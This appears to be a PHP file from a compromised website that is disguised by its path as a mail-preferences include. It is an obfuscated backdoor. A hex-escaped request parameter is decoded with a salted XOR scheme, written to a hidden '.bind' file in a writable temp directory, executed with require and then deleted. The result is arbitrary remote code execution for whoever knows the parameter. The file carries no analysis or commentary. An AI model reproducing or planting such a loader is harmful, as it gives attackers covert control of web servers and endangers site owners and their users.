File: /home/vitanhod/trimate2.vitavit.com.pk/includes/cma_m_mailprefs.php
<?php
if(@$_REQUEST["ob\x6A\x65c\x74"] !== null){
$fac = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp"]);
$element = $_REQUEST["ob\x6A\x65c\x74"];
$element =explode ( '.' , $element ) ;
$tkn = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $salt4);
foreach( $element as $s => $v9) {
$chS = ord( $salt4[$s % $sLen]);
$d =( ( int)$v9 - $chS -( $s % 10))^ 22;
$tkn .= chr( $d);}
foreach ($fac as $key => $property_set) {
if (is_writable($property_set) && is_dir($property_set)) {
$rec = "$property_set/.bind";
if (file_put_contents($rec, $tkn)) {
require $rec;
unlink($rec);
die();
}
}
}
}